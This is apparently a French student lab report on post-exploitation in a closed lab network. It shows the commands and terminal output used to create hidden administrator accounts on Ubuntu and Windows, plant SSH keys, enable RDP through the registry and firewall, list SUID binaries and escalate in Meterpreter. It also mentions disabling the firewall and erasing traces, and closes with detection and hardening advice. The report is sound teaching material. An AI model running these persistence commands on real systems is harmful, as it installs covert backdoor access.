COMPTE RENDU – TP 3.3

Post-exploitation : maintien d’accès et élévation de privilèges

1. Objectif du TP

L’objectif de ce travail pratique est de comprendre comment un attaquant, après avoir compromis un système, transforme un accès temporaire en un contrôle durable. Il ne s’agit plus seulement de pénétrer dans une machine, mais d’y rester, d’élever ses privilèges et de s’y installer discrètement. Ce TP aborde les techniques de maintien d’accès sur les systèmes Linux et Windows, ainsi que l’activation de services d’accès à distance comme RDP ou SSH sans mot de passe.

2. Contexte du laboratoire

Dans le cadre du scénario NetSecure, je dispose déjà d’un accès initial sur deux machines cibles. La première est une machine Ubuntu située à l’adresse 192.168.56.4

, accessible via SSH ou un shell obtenu précédemment. La seconde est une machine Windows à l’adresse 192.168.56.3, sur laquelle j’ai obtenu une session Meterpreter lors des TPs antérieurs. Ces accès constituent le point de départ de la phase de post-exploitation.

3. Partie 1 – Maintien d’accès sur Linux

3.1 Vérification de l’identité connectée

Une fois connecté à la machine Ubuntu, la première chose à faire est de vérifier sous quel compte je suis connecté. La commande whoami m’indique que je suis un utilisateur standard sans droits élevés. Cela correspond à une situation réaliste où un attaquant commence avec des privilèges limités.

```
Last login: Mon Apr 27 10:22:22 2026 from 192.168.56.4
$ whoami
student
$
```

résultat de la commande whoami.

3.2 Création d’un compte administrateur discret

Pour garantir un accès durable, je crée un nouvel utilisateur nommé backupadmin avec la commande sudo adduser backupadmin. Je lui attribue un mot de passe simple pour les besoins du test. Ensuite, je l’ajoute au groupe sudo avec la commande sudo usermod -aG sudo backupadmin. La vérification avec groups backupadmin confirme que l’utilisateur fait bien partie du groupe sudo, ce qui lui donne tous les droits administrateur.

```
student@192.168.56.5's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-144-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of mar. 28 avril 2026 08:04:29 UTC

  System load:  0.0               Processes:               116
  Usage of /:   43.9% of 9.75GB   Users logged in:         2
  Memory usage: 48%               IPv4 address for enp0s3: 192.168.56.5
  Swap usage:   0%


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

La maintenance de sécurité étendue pour Infrastructure n'est pas activée.

0 mise à jour peut être appliquée immédiatement.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Mon Apr 27 17:41:40 2026 from 192.168.56.4
$
```

Création du compte et ajout au groupe sudo. La commande a échoué parce que l’utilisateur student n’as pas le droit d’accès a sudo.

```
Last login: Mon Apr 27 17:41:40 2026 from 192.168.56.4
$ sudo adduser bakupadmin
[sudo] password for student:
student is not in the sudoers file.  This incident will be reported.
$
```

Alors on a donc de voir d’autre utilisateur afin d’utiliser leur (on avait le hash et les mots de passe dans le TP précédent).

```
$ ls /home
malick  student
$ su malick
Password:
malick@amb:/home/student$
```

Ayant les droit sudo on a donc désormais le compte boni pwd(12345).

```
malick@amb:/home/student$ sudo adduser backupadmin
Adding user `backupadmin' ...
Adding new group `backupadmin' (1002) ...
Adding new user `backupadmin' (1002) with group `backupadmin' ...
Creating home directory `/home/backupadmin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for backupadmin
Enter the new value, or press ENTER for the default
        Full Name []: boni
        Room Number []: boni
        Work Phone []: 654183011
        Home Phone []: 237
        Other []:
Is the information correct? [Y/n] y
malick@amb:/home/student$ sudo usermod -aG sudo backupadmin
malick@amb:/home/student$ groups backupadmin
backupadmin : backupadmin sudo
malick@amb:/home/student$
```

3.3 Mise en place d'un accès SSH persistant sans mot de passe

Ssh-keygen

```
┌──(awouna㉿awouna)-[~]
└─$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/awouna/.ssh/id_ed25519):
Enter passphrase for "/home/awouna/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Passphrases do not match.  Try again.
Enter passphrase for "/home/awouna/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/awouna/.ssh/id_ed25519
Your public key has been saved in /home/awouna/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:zEr9YToeGWRiW2g16j48NN87k6GvVzV+u11G3GyaP4k awouna@awouna
The key's randomart image is:
+--[ED25519 256]--+
|        o        |
|       + .       |
|      * +        |
|     + X         oo.|
|      * S o      o .*|
|     = + B...    .=.|
|      * *.o+     +.=|
|       +.o=. E   *o|
|        o+oo     .=|
+----[SHA256]-----+
```

Un attaquant expérimenté préfère utiliser des clés SSH plutôt que des mots de passe, car ces dernières sont plus discrètes et ne laissent pas de trace dans les journaux d'authentification.

Ensuite, je copie la clé publique vers la machine Ubuntu avec

ssh-copy-id backupadmin@192.168.56.5.

```
┌──(awouna㉿awouna)-[~]
└─$ ssh-copy-id backupadmin@192.168.56.5
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/awouna/.ssh/id_ed25519.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
backupadmin@192.168.56.5's password:

Number of key(s) added: 1

Now try logging into the machine, with: "ssh 'backupadmin@192.168.56.5'"
and check to make sure that only the key(s) you wanted were added.
```

Enfin,

Je teste la connexion avec

ssh backupadmin@192.168.56.5.

```
┌──(awouna㉿awouna)-[~]
└─$ ssh backupadmin@192.168.56.5
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key '/home/awouna/.ssh/id_ed25519':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-144-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of mar. 28 avril 2026 08:47:29 UTC

  System load:  0.03               Processes:               124
  Usage of /:   43.9% of 9.75GB    Users logged in:         2
  Memory usage: 49%                IPv4 address for enp0s3: 192.168.56.5
  Swap usage:   0%

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

La maintenance de sécurité étendue pour Infrastructure n'est pas activée.
```

```
 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

La maintenance de sécurité étendue pour Infrastructure n'est pas activée.

0 mise à jour peut être appliquée immédiatement.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Interne

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

backupadmin@amb:~$
```

La connexion s'établit immédiatement sans demande de mot de passe. Cela signifie que même si le mot de passe du compte venait à être changé, l'attaquant pourrait toujours revenir via sa clé SSH.

3.4 Vérification des privilèges sudo

Une fois connecté avec le compte backupadmin, j'exécute la commande sudo -l. Celle-ci liste toutes les commandes que l'utilisateur peut exécuter avec les droits superutilisateur. Cette information est précieuse pour un attaquant, car elle lui permet d'identifier rapidement les failles de configuration.

Avec (ALL :ALL) ALL cela signifie tout simplement que backupadmin a tous les privilèges.

```
backupadmin@amb:~$ sudo -l
[sudo] password for backupadmin:
Matching Defaults entries for backupadmin on amb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User backupadmin may run the following commands on amb:
    (ALL : ALL) ALL
backupadmin@amb:~$
```

: résultat de sudo -l.

3.5 Recherche de binaires SUID

Un autre vecteur classique d'élévation de privilèges sur Linux est l'exploitation des binaires SUID. La commande find / -perm -4000 2>/dev/null permet de lister tous les fichiers ayant le bit SUID activé. Ces programmes s'exécutent avec les droits de leur propriétaire, souvent root. Un attaquant peut détourner certains d'entre eux pour obtenir des droits élevés.

```
backupadmin@amb:~$ find / -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
/usr/bin/at
/usr/bin/chfn
/usr/bin/umount
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/mount
/usr/bin/gpasswd
/snap/core20/1828/usr/bin/chfn
/snap/core20/1828/usr/bin/chsh
/snap/core20/1828/usr/bin/gpasswd
/snap/core20/1828/usr/bin/mount
/snap/core20/1828/usr/bin/newgrp
/snap/core20/1828/usr/bin/passwd
/snap/core20/1828/usr/bin/su
/snap/core20/1828/usr/bin/sudo
/snap/core20/1828/usr/bin/umount
/snap/core20/1828/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1828/usr/lib/openssh/ssh-keysign
/snap/snapd/18357/usr/lib/snapd/snap-confine
backupadmin@amb:~$
```

Liste des binaires SUID.

4. Partie 2 – Maintien d’accès sur Windows

4.1 Vérification et élévation des privilèges dans Meterpreter

Je passe maintenant à la machine Windows. Depuis la session Meterpreter obtenue précédemment, je commence par vérifier mon niveau d’accès avec la commande getuid. Si je ne suis pas encore administrateur ou système, j’exécute getsystem pour tenter une élévation de privilèges. La nouvelle exécution de getuid confirme que je dispose désormais des droits système, le plus haut niveau possible.

getuid avant élévation.

```
meterpreter > getuid
Server username: AUTORITE NT\Système
```

getsystem puis getuid après élévation.

```
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter >
```

4.2 Création d’un compte administrateur persistant

Une fois les droits élevés obtenus, je crée un nouvel utilisateur qui me servira de backdoor. Je passe d’abord en mode shell avec la commande shell.

```
meterpreter > shell
Process 2064 created.
Channel 1 created.
Microsoft Windows [version 10.0.19043.928]
(c) Microsoft Corporation. Tous droits r◆serv◆s.

C:\Windows\system32>
```

Ensuite, je crée l’utilisateur supportadmin avec le mot de passe Password123! via net user supportadmin Password123! /add.

```
C:\Windows\system32>net user supportadmin password123! /add
net user supportadmin password123! /add
La commande s'est termin◆e correctement.
```

Je l’ajoute au groupe des administrateurs locaux avec net localgroup administrators supportadmin /add.

```
C:\Windows\system32>net localgroup administrateurs supportadmin /add
net localgroup administrateurs supportadmin /add
La commande s'est termin◆e correctement.
```

La commande net user supportadmin me permet de vérifier que le compte a bien été créé et qu’il est membre du groupe Administrateurs.

```
C:\Windows\system32>net user supportadmin
net user supportadmin
Nom d'utilisateur                    supportadmin
Nom complet
Commentaire
Commentaires utilisateur
Code du pays ou de la r◆gion         000 (Valeur par d◆faut du syst◆me)
Compte◆: actif                       Oui
Le compte expire                     Jamais

Mot de passe◆: dernier changmt.      28/04/2026 09:09:46
Le mot de passe expire               09/06/2026 09:09:46
Le mot de passe modifiable           28/04/2026 09:09:46
Mot de passe exig◆                   Oui
L'utilisateur peut changer de mot de passe   Oui

Stations autoris◆es                  Tout
Script d'ouverture de session
Profil d'utilisateur
R◆pertoire de base
Dernier acc◆s                        Jamais

Heures d'acc◆s autoris◆              Tout

Appartient aux groupes locaux        *Administrateurs
                                     *Utilisateurs
Appartient aux groupes globaux       *Aucun
La commande s'est termin◆e correctement.
```

4.3 Activation du Bureau à Distance (RDP)

Pour disposer d'un accès graphique et persistant, j'active le service de bureau à distance sur la machine Windows. La première commande modifie la base de registre pour autoriser les connexions RDP : reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f.

```
C:\Windows\system32>reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
L'op◆ration a r◆ussi.
```

Ensuite, j'autorise le service RDP dans le pare-feu Windows avec

netsh advfirewall firewall set rule group="remote desktop" new enable=Yes.

À partir de ce moment, un attaquant peut se connecter à la machine Windows via RDP en utilisant le compte supportadmin. Cette technique est très discrète et couramment utilisée en entreprise.

5. Partie 3 – Discrétion et nettoyage

Un attaquant expérimenté ne se contente pas de créer des accès. Il cherche également à ne pas être détecté. Dans Meterpreter, la commande sessions affiche l'ensemble des sessions actives. Chaque action laisse des traces : journaux d'événements Windows, historique des commandes sur Linux, modifications des fichiers de configuration. Comprendre ces traces est essentiel

pour pouvoir les effacer ou les contourner. La discrétion est un élément clé des attaques réelles.

6. Utilisation avancée des commandes

Certaines commandes utilisées dans ce TP méritent une explication plus approfondie.

La commande ssh-keygen peut être optimisée en utilisant l'algorithme Ed25519, plus rapide et plus sécurisé que RSA avec ssh-keygen -t ed25519. On peut également spécifier un fichier de sortie différent avec -f ~/.ssh/ma_cle_perso.

La commande ssh-copy-id accepte l'option -i pour indiquer une clé spécifique : ssh-copy-id -i ~/.ssh/ma_cle backupadmin@192.168.56.10.

La commande sudo -l est souvent sous-estimée. Elle peut révéler des commandes exécutables sans mot de passe, ce qui constitue une faille critique. Par exemple, si sudo -l montre que l'utilisateur peut exécuter vi ou less sans mot de passe, il est possible d'en sortir un shell root.

La commande find / -perm -4000 -ls est plus complète que la version simple. Elle affiche des détails supplémentaires comme la taille des fichiers et leurs permissions étendues.

Sur Windows, la commande reg add avec le paramètre /f permet de forcer l'écriture dans la base de registre sans demande de confirmation. Cela peut être utile dans des scripts automatisés. Quant à netsh advfirewall, il permet également de désactiver entièrement le pare-feu avec netsh advfirewall set allprofiles state off, ce qui est extrêmement dangereux en environnement réel.

7. Mesures de sécurité pour empêcher ces attaques

Pour empêcher la création de comptes non autorisés, les administrateurs doivent superviser les événements de sécurité Windows, en particulier l'événement 4720 qui signale la création d'un compte utilisateur. Sur Linux, les logs /var/log/auth.log doivent être surveillés pour détecter les ajouts suspects dans le fichier /etc/passwd ou /etc/sudoers.

Concernant l'utilisation abusive de SSH, il est recommandé de désactiver l'authentification par mot de passe dans le fichier /etc/ssh/sshd_config en positionnant PasswordAuthentication no. Il faut également surveiller régulièrement le contenu du fichier ~/.ssh/authorized_keys pour détecter l'ajout de clés non autorisées.

Pour éviter l'activation non contrôlée de RDP, les administrateurs peuvent utiliser des GPO (Group Policy Objects) pour interdire le bureau à distance sur les postes qui n'en ont pas besoin. Le pare-feu doit être configuré pour n'autoriser RDP que depuis des adresses IP spécifiques. L'activation de l'authentification à deux facteurs (2FA) pour les connexions RDP constitue également une protection efficace.

Enfin, pour limiter l'élévation de privilèges, il est conseillé de supprimer les binaires SUID inutiles sur Linux et de restreindre au maximum les droits dans le fichier sudoers. L'utilisation du principe du moindre privilège doit être systématique.

8. Conclusion

Ce travail pratique démontre que l'intrusion initiale n'est que la première étape d'une attaque. Le véritable danger réside dans la capacité de l'attaquant à maintenir son accès, à élever ses privilèges et à passer inaperçu. La création de comptes administrateurs discrets, la mise en place de clés SSH et l'activation de services comme RDP sont des techniques simples mais redoutablement efficaces. Pour s'en prémunir, les entreprises doivent adopter une politique de sécurité rigoureuse, surveiller activement les journaux et appliquer le principe de moindre privilège sur l'ensemble de leur parc informatique.